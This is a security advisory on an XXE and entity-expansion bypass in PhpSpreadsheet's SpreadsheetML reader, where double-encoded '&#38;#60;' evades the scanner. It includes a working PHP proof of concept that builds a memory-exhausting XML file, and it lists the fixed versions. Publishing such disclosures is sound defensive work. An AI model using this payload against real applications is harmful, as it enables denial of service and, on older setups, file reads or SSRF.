GHSA-rxj4-h86g-25gc: XEE

Published Oct 27, 2026
·
Updated

Summary The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls htmlentitydecode() after the pattern check. By double-encoding the < character as &#38;#60;, the first scan decodes &#38; to & (forming &#60;), and the second scan decodes &#60; to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXMLNOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

php public function scan($xml): string { $pattern = '/\0<\0!\0D\0O\0...\0/';

if (pregmatch($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (pregmatch($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = calluserfunc($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked }

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

php $data = filegetcontents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

php $data = $this->fileContents; // already partially decoded $xml = simplexmlloadstring( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding );

The double-scan decode chain:

Raw file: &#38;#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → htmlentitydecode(&#38;) = & | Stored: &#60;!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → htmlentitydecode(&#60;) = < | Parser sees: <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (&amp; &lt; &gt; &quot; &apos;) via Unicode placeholders, but numeric entities (&#38; &#60; &#x26; &#x3C;) are not protected and are decoded by htmlentitydecode().

PoC

Save the following as poctoctou.php in a directory with PhpSpreadsheet installed via Composer:

php <?php require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes // 1st scan callback: &#38; → & (forms &#60;) // 2nd scan callback: &#60; → < (forms <!DOCTYPE) $entityvalue = strrepeat('A', 100000); $refs = strrepeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#38;#60;!DOCTYPE Workbook [' . "\n" . ' &#38;#60;!ENTITY big "' . $entityvalue . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>';

fileputcontents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n";

$membefore = memorygetusage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memorygetpeakusage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memorylimit=512M poctoctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#38;#60; with &#38;#x3C; — both are decoded by htmlentitydecode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | Exploitable | Exploitable | | Local file read via SYSTEM entity | Exploitable | Blocked by default | | SSRF via SYSTEM entity | Exploitable | Blocked by default | | File read when LIBXMLNOENT is used | Exploitable | Exploitable |

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Affected Software

2 affected componentsFixes available
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.7
3.10.8
composer/phpoffice/phpspreadsheet>=4.0.0<=5.9.0
5.10.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.8
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.10.0

Event History

Oct 27, 2026
Advisory Published
via GitHub·03:38 PM
Data Sourced
via GitHub·03:38 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which environments are exposed to XXE or SSRF impact?

XXE and SSRF are possible on PHP versions earlier than 8.0, or in environments where LIBXML_NOENT is used. The described denial-of-service risk from entity expansion applies on all PHP versions.

2

What kind of input is required for exploitation?

An attacker needs a SpreadsheetML XML file processed through the Reader\Xml reader. The payload uses a double-encoded less-than character, such as &#38;#60;, to form a <!DOCTYPE declaration only after the scanner's checks have run.

3

Why does the XML scanner fail to block the malicious declaration?

The scanner performs its pattern checks before its unentity callback invokes html_entity_decode(). Because the content is scanned twice, the first decode turns &#38;#60; into &#60; and the second turns it into <, producing <!DOCTYPE after both relevant checks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203